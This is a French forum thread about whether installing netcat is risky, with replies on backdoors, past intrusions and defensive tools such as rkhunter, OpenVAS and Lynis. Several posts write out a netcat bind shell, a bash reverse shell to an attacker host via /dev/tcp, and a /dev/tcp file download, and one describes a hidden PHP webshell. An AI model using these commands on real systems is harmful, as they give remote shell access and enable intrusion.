Pensez-vous que installer netcat sur une machine est risqué?

Bonjour,

je pose cette question car on peut créer une backdoor avec netcat en tapant sur la machine cible la commande suivante (qui permet de créer un serveur de shell minimaliste) :

$ nc -l -p 8888 -c /bin/bash

Puis sur la machine de l’attaquant, l’attaquant tape :

$ nc ip_machine_cible 8888

, et ainsi l’attaquant a accès au shell distant, et peut pirater la machine cible.

D’une façon générale si c’est non contrôlé autant ne pas l’installer.
Si c’est une machine sur laquelle tu es le seul à opérer tu peux, à toi de voir les risques.
Personnellement je n’utilise ce genre d’outil qu’à travers une VM pour limiter ce genre de risque.
Et tant que la machine en question n’est pas exposée sur internet, le risque est plus limité, car il ne faut mettre ce type d’outils sur une machine accessible d’internet.

1 J'aime

Merci zargos :+1: j’avais raison d’être parano :grin:

1 J'aime

Cette version est pour le netcat traditionnel, pour la version BSD, c’est plus compliqué.
Mais de toute façon tu n’en as pas besoin, il te suffit de faire sur la machine victime

bash -i >& /dev/tcp/IP_PIRATE/2333 0>&1

et sur la machine PIRATE, tu fais

nc -l -p 2333

et le PIRATE a un bash sur la machine victime. nc ne fait que faciliter ça. Personnellement je le met, ça se révèle très utile

3 J'aime

Bonjour,

Un point m’échappe : pour pouvoir ouvrir la commande nc sur le port 8888 (première commande), ne faut-il pas déjà avoir un accès sur la machine ?
Si oui, la machine n’est-elle pas déjà piratée ?

Cordialement.

Oui.

En plus de ça, il peut ne pas laisser de traces sur la machine (pas de logs par exemple), et du coup la victime peut ne pas savoir que sa machine a été piraté. Il parait qu’il y a rkhunter qui permet de se protéger des backdoor, sinon on peut faire soi-même un script bash personnalisé et daemonisé pour détecter et fermer les backdoors.

Il y a deux stratégies possibles:

  • La première consiste à mettre tout en place pour rendre la machine impénétrable. C’est très incertain et ça se dégrade vite. J’ai eu affaire à un certain nombre d’intrusions:
  • La première était chez moi, vers 2003, sur une debian, wu-ftpd foireux et faille ptrace. Vous avez toute la discussion sur la liste debian ici: Re: Quel kernel ?
  • Une deuxième a été dans le lycée, suite à l’installation d’un site fait par les élèves.
  • Une troisième a été sur le serveur prepas.org dont je m’occupais, une injection blind SQL suite à un script fait maison par un des webmaster en cas d’oubli de mot de passe
  • Une quatrième a été de ma faute, installation à l’arrache d’un CMS et oubli (si, si!) de suppression du compte admin/admin
  • Une cinquième est très récente, ça concerne un ami dont le serveur a été piraté, je l’ai aidé à identifier le gars et à le neutraliser. Il s’agissait de l’exploitation d’un e faille Spip de novembre 2024.

Dans tous les cas, je me suis aperçu que:

  • Il est illusoire de croire une machine parfaitement sur. Tot ou tard on édite directement un fichier .php (et on laisse trainer un fichier.php~ ou fichier.php.bak qui permet au gars d’avoir des sources), ou on fait une erreur du même type.
  • Le film les 7 Samourais indique que la meilleure forteresse est celle qui comporte une faiblesse connue, on sait ou aura lieu l’attaque. Bon ben ça marche impeccable cette méthode.
  • Le plus important est de savoir quand la machine est corrompue, j’ai installé sur tous mes serveurs un script de surveillance testant tous les quart d’heures l’intégrité de la machine, fichiers rajoutés ou supprimés. En cas de souci, la dite machine m’envoit un mail et surtout un texto sur mon téléphone indiquant le souci. Particulièrement efficace, cela a rendu certaines des attaques ci dessus inoffensives.
  • Lorque l’on constate une intrusion, il faut surveiller le gars mais surtout ne pas le bloquer, on arrive rapidement à avoir des tas de renseignements sur lui, à savoir comment il est entré et à trouver toutes les portes dérobées utilisées (en plus on récupère des webshell qui sont des petits bijoux de programmation :slight_smile: ).
    Je n’ai jamais eu à reinstaller une machine avec ces méthodes (pour la première intrusion, ça a été délicat). Si ça intéresse des gens, j’en ai fait un challenge sur le site root-me (voir forensic ->cold case Challenges/Forensic : Rootkit - Cold case [Root Me : plateforme d'apprentissage dédiée au Hacking et à la Sécurité de l'Information])
1 J'aime

Ca ne marchera avec un script bash. Sinon il y a belle lurette que les cyberattaque seraient contrées.
Si ton script détecte quelque chose c’est que ce quelque chose est déjà là, et donc qu’il a déjà agit ou est en train d’agir.

C’est comme une maison, tu peux empêcher d’entrer en faisant un mur. Mais ce mur n’est ni jamais assez haut ni assez solide; et il est obligé d’avoir des portes si veut pouvoir entrer et sortir de celle-ci.
Et ce sont ces points qui sont des faiblesses.
Par ailleurs empêcher d’entrer est insuffisant: détecter si malgré tout quelqu’un est entré est nécessaire; mais aussi difficile à faire.
Et c’est sans compter l’ingénierie sociale, les critères de profits, le business, et j 'en passe.

95% des attaques, voir plus, sont des attaques simples, souvent faites par des scripts kiddies.

Qui plus est toutes les attaques n’ont pas pour objectif de voler ou d’accéder à des données; la réalité est loin du cinéma d’hollywood.
La plupart des attaques sont des attaques de deni de service, contre lesquels les systèmes de détection, les pare-feux et tous les outils de ce types sont quasi totalement inefficaces.

Même la constatation d’intrusion est difficile, car les systèmes de détection génèrent globalement 100 000 fois plus de faux positifs que de vrai positifs.

Pour des systèmes informatiques, 15mn c’est une éternité.

D’autant que plusieurs modes d’attaques peuvent être regroupés: empêcher le système de messagerie de fonctionner avec des attaques DDOS pour permettre de bloquer les envois d’alertes par exemple.

Et non, il n’y a pas deux stratégies possibles, il y en a bien plus, et aucune n’est efficace à 100%. Il suffit de voir toutes les annonces d’attaques toutes les semaines, sans compter toutes celles qui ne donnent pas lieu à des annonces et qui sont bien plus nombreuses.

Mais l’un des premières règles, c’est de ne pas déployer des outils qui permettent de réaliser des brèches et/ou des défaillances.
On ne laisse pas traîner la perceuse de coffre-fort devant la porte de celui-ci.

Il n’existe qu’un seul type de système fiable: celui qui n’est relié à rien. Et encore ce n’est pas du 100%. Car il suffirait de s’asseoir au clavier ou d’accéder au matériel.

1 J'aime

Là tu supposes que entre la constatation de la faille d’entrée et l’utilisation de cette faille, l’installation des webshells ou autres outils et la mise en place du truc, il se passe moins de 15’. Bon, alors sur les cinq intrusions référencées plus haut:

  • Le premier a mis une journée à entrer sur la machine et à lancer ses scripts. Je l’ai repéré au bruit du disque, je n’avais aucun outil, ma machine était juste connectée vvia un modem 128/512M ADSL
  • Aucune idée sur le second
  • Le troisième a mis en gros pas loin de 18h a entrer sur le système, il a développé lui son script sans utiliser sqlmap. Il n’a pas eu le temps de faire du dégat, il a été repéré avant.
  • Le 4ième a eu juste le temps d’uploader 2 fois de suite une page (2 fois car je ne pensais pas avoir fait une telle connerie)
  • Le 5ième mettait assez longtemps à installer son webshell. L’amusant consistait à bloquer l’IP d’où il téléchargeait son webshell, ce qui l’obligeait à faire beaucoup d’activité. Je crois l’avoir dit, sa technique était impressionnante, il avait dissimulé une petit shell dans un script php de spip qui ne se déclenchait que si $_GET[‹ view ›] était défini, la commande et la réponse était transmise encodée en base64 dans un header X-Command-Output.

Dans tous les cas (sauf 1 sur lequel je ne peux rien dire), ça a mis nettement plus de 15’. Un outil comme wget mérite d’être conservé par un wrapper qui journalise qui l’appeler et la ligne de commande. De toute façon là encore c’est assez simple de s’en passer:
Tu veux récuperer le fichier toto venant de 123.45.67.89:1234 tu fais
sur 123.45.67.89

$ cat toto | nc -l -p 1234

sur la machine victime

$ exec 3<>/dev/tcp/123.45.67.89:1234
$ cat <&3 > toto
$ exec 3<&-

et tu as récupéré toto sans wget avec juste cat

En fait unix est très puissant avec juste les commandes de base.

Dans le 5ième cas, le gars a perdu 3 semaines sur le site à faire ses tentatives de wget sur des sites que je bloquais au fur et à mesure, visiblement il ne comprenait pas ce qu’il se passait, j’ai réussi à trouver par cette méthode tous les webshells qu’il avait mis. Son site, son nom, etc.
En revanche il est crucial de ne pas laisser la moindre chance d’escalade de privilèges ==> noyau à jour, pas de suid root, pas de sudo.

Ce que je dis ne marche que sur des systèmes avec des applications locales ou peu courantes. Un truc comme spip est effectivement tel que si une faille est découverte (là c’était une CVE de décembre), elle est exploitée quasi immédiatement (c’est celle qu’a utilisé le gars dans le 5ième cas), mais même dans ce cas, il n’a pas été vite. Par ailleurs je n’ai aucune expérience sur de très gros serveurs.

Une intrusion plus délicate est le vol de données par fuite (injection) qui ne laisse pas de trace sauf dans les logs. À part surveiller l’activité du serveur SQL et blinder les droits d’accès aux bases, c’est dur de détecter un vol de données.

salut
j’ai essayé mais ça ne marche pas

Bon ça va, script kiddies comme je le disais, et pas des pros non plus. Des gars qui se sont testés sur tes machines.

Les attaques qui durent le plus longtemps en général, parce que c’est aussi le but, ce sont les DDOS.

Le groupe Metro en 2023 a subit un ransomware dont l’attaque de pénétration a durée à peine 10 mn.
GEFCO a subit une attaque en moins de 20 mn. La conséquence ensuite un ransomware.
Et il y en a plein d’autres comme ça.

Et en plus je ne met rien en ligne qui n’aie été au préalable testé avec un full scan d’OpenVAS, et je ne développe jamais quoique ce soit sur une machine exposée. Je passe par une plateforme d’intégration/développement.

On s’éloigne un peu du sujet de départ :pleading_face:

c’est le genre d’outil qui m’intéresserait.
OpenVAS c’est bien l’ancien nom de Greenbone Vulnerability Management (GVM) ?
est-ce que c’est « facile » à installer et utiliser ?

J’ai installé une Kali Linux, OpenVAS est dedans (gvm, gvmd, gsad, etcc…) directement des repositories.

Pas super simple à utiliser, mais pas trop compliqué non, plus.
Il faut s’assurer que toutes les signatures soient à jour avant de commencer tout de même.

1 J'aime

Regarde sinon côté LYNIS

1 J'aime

123.45.67.89 est l’IP du serveur, là où tu fais le nc -l -p 1234

Lynis est pas mal, mais pas pratique à utiliser, il faut penser à rediriger stdout dans un fichier sinon on perd le résultat.
Greenbone a plus d’avantage par rapport à Lynis.
Mais Lynix est plus léger, et plus rapide à mettre en place.
Les deux pourraient être complémentaire.

Votre discussion m’a incité à désinstaller netcat-traditional, et de constater que playonlinux l’avait installé.

Pour être parano sans être délirant, il faut bien connaître le sujet. Merci à vous tous de partager vos connaissances.